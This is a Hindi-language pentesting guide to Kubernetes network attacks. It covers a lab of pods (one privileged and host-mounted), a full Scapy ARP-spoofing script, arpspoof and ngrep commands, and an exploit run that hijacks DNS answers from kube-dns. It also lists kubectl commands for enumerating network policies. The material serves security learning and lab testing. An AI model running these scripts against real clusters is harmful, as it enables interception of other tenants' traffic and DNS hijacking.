Kubernetes Network Attacks

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Introduction

Kubernetes में, यह देखा गया है कि एक डिफ़ॉल्ट व्यवहार सभी कंटेनरों के बीच कनेक्शन स्थापित करने की अनुमति देता है जो एक ही नोड पर स्थित हैं। यह नामस्थान भिन्नताओं की परवाह किए बिना लागू होता है। इस प्रकार की कनेक्टिविटी लेयर 2 (Ethernet) तक फैली हुई है। नतीजतन, यह कॉन्फ़िगरेशन प्रणाली को कमजोरियों के लिए संभावित रूप से उजागर करता है। विशेष रूप से, यह एक दुष्ट कंटेनर के लिए एक ARP स्पूफिंग हमले को अन्य कंटेनरों के खिलाफ निष्पादित करने की संभावना खोलता है जो उसी नोड पर स्थित हैं। ऐसे हमले के दौरान, दुष्ट कंटेनर धोखे से अन्य कंटेनरों के लिए निर्धारित नेटवर्क ट्रैफ़िक को इंटरसेप्ट या संशोधित कर सकता है।

ARP स्पूफिंग हमलों में हमलावर द्वारा स्थानीय क्षेत्र नेटवर्क पर गलत ARP (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) संदेश भेजना शामिल है। इसके परिणामस्वरूप हमलावर के MAC पते को नेटवर्क पर एक वैध कंप्यूटर या सर्वर के IP पते के साथ जोड़ा जाता है। ऐसे हमले के सफल निष्पादन के बाद, हमलावर डेटा को इंटरसेप्ट, संशोधित या यहां तक कि ट्रांजिट में रोक सकता है। यह हमला OSI मॉडल की लेयर 2 पर निष्पादित किया जाता है, यही कारण है कि Kubernetes में इस स्तर पर डिफ़ॉल्ट कनेक्टिविटी सुरक्षा चिंताओं को उठाती है।

परिदृश्य में 4 मशीनें बनाई जाने वाली हैं:

• ubuntu-pe: नोड पर भागने और मेट्रिक्स की जांच करने के लिए विशेषाधिकार प्राप्त मशीन (हमले के लिए आवश्यक नहीं)
• ubuntu-attack: दुष्ट कंटेनर डिफ़ॉल्ट नामस्थान में
• ubuntu-victim: पीड़ित मशीन kube-system नामस्थान में
• mysql: पीड़ित मशीन डिफ़ॉल्ट नामस्थान में

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -

kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Basic Kubernetes Networking

यदि आप यहां प्रस्तुत नेटवर्किंग विषयों के बारे में अधिक विवरण चाहते हैं, तो संदर्भों पर जाएं।

ARP

सामान्यतः, नोड के अंदर पोड-से-पोड नेटवर्किंग एक ब्रिज के माध्यम से उपलब्ध है जो सभी पोड्स को जोड़ता है। इस ब्रिज को “cbr0” कहा जाता है। (कुछ नेटवर्क प्लगइन्स अपना खुद का ब्रिज स्थापित करेंगे।) cbr0 ARP (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) समाधान को भी संभाल सकता है। जब एक इनकमिंग पैकेट cbr0 पर आता है, तो यह ARP का उपयोग करके गंतव्य MAC पते को हल कर सकता है।

यह तथ्य यह संकेत करता है कि, डिफ़ॉल्ट रूप से, एक ही नोड में चलने वाला हर पोड किसी अन्य पोड के साथ संवाद करने में सक्षम होगा (नेमस्पेस के स्वतंत्र) एथरनेट स्तर (लेयर 2) पर।

DNS

कubernetes वातावरण में आप आमतौर पर 1 (या अधिक) DNS सेवाएं चलती हुई पाएंगे जो आमतौर पर kube-system नेमस्पेस में होती हैं:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

पिछली जानकारी में आप कुछ दिलचस्प देख सकते हैं, सेवा का IP 10.96.0.10 है लेकिन सेवा चला रहे पोड का IP 172.17.0.2 है।

यदि आप किसी भी पोड के अंदर DNS पते की जांच करते हैं, तो आपको कुछ इस तरह मिलेगा:

cat /etc/resolv.conf
nameserver 10.96.0.10

हालांकि, पॉड को उस पते तक पहुँचने का तरीका नहीं पता है क्योंकि इस मामले में पॉड रेंज 172.17.0.10/26 है।

इसलिए, पॉड DNS अनुरोधों को पते 10.96.0.10 पर भेजेगा जो cbr0 द्वारा 172.17.0.2 में अनुवादित किया जाएगा।

समान नोड में पॉड्स में ARP Spoofing

हमारा लक्ष्य है कि कम से कम ubuntu-victim से mysql तक की संचार को चुराना।

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance

#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

जैसा कि पहले ही उल्लेख किया गया है, यदि आप DNS सर्वर पॉड के उसी नोड में एक पॉड को समझौता करते हैं, तो आप MitM के साथ ARPSpoofing का उपयोग करके ब्रिज और DNS पॉड को संशोधित कर सकते हैं और सभी DNS प्रतिक्रियाओं को बदल सकते हैं।

आपके पास इसे परीक्षण करने के लिए एक बहुत अच्छा टूल और ट्यूटोरियल है https://github.com/danielsagi/kube-dnsspoof/

हमारे परिदृश्य में, हमलावर पॉड में टूल डाउनलोड करें और एक फाइल नाम hosts बनाएं जिसमें आप जिन डोमेन को स्पूफ करना चाहते हैं, उन्हें शामिल करें:

cat hosts
google.com. 1.1.1.1

ubuntu-victim मशीन पर हमला करें:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop

#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

DNS Spoofing via coreDNS configmap

kube-system namespace में coredns configmap पर लिखने की अनुमति रखने वाला उपयोगकर्ता क्लस्टर की DNS प्रतिक्रियाओं को संशोधित कर सकता है।

इस हमले के बारे में अधिक जानकारी के लिए देखें:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}

Abusing exposed kubernetes management services

Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, और Kubernetes डैशबोर्ड जैसी सेवाएँ अक्सर इंटरनेट या kubernetes नेटवर्क के भीतर उजागर होती हैं। एक हमलावर जो kubernetes को प्रबंधित करने के लिए उपयोग की जाने वाली किसी भी प्लेटफ़ॉर्म को खोजने और उस तक पहुँचने में सफल होता है उसे kubernetes API तक पहुँच प्राप्त करने के लिए इसका दुरुपयोग कर सकता है और नए पॉड बनाने, मौजूदा को संशोधित करने, या यहां तक कि उन्हें हटाने जैसी क्रियाएँ कर सकता है।

Enumerating kubernetes network policies

संरचित networkpolicies प्राप्त करें:

kubectl get networkpolicies --all-namespaces

Callico नेटवर्क नीतियाँ प्राप्त करें:

kubectl get globalnetworkpolicy --all-namespaces

Cillium नेटवर्क नीतियाँ प्राप्त करें:

kubectl get ciliumnetworkpolicy --all-namespaces

अपने नेटवर्क प्लगइन या सुरक्षा समाधान द्वारा स्थापित अन्य नीति-संबंधित CRDs प्राप्त करें:

kubectl get crd | grep -i policy

ट्रैफ़िक कैप्चर करना

उपकरण Mizu एक सरल लेकिन शक्तिशाली API ट्रैफ़िक व्यूअर है Kubernetes के लिए जो आपको सूक्ष्म सेवाओं के बीच सभी API संचार देखने में सक्षम बनाता है ताकि आप अपने डिबग और समस्या निवारण में मदद कर सकें।
यह चयनित पॉड्स में एजेंट स्थापित करेगा और उनके ट्रैफ़िक की जानकारी एकत्र करेगा और आपको एक वेब सर्वर में दिखाएगा। हालाँकि, इसके लिए आपको उच्च K8s अनुमतियों की आवश्यकता होगी (और यह बहुत छिपा हुआ नहीं है)।

संदर्भ

• https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
• https://blog.aquasec.com/dns-spoofing-kubernetes-clusters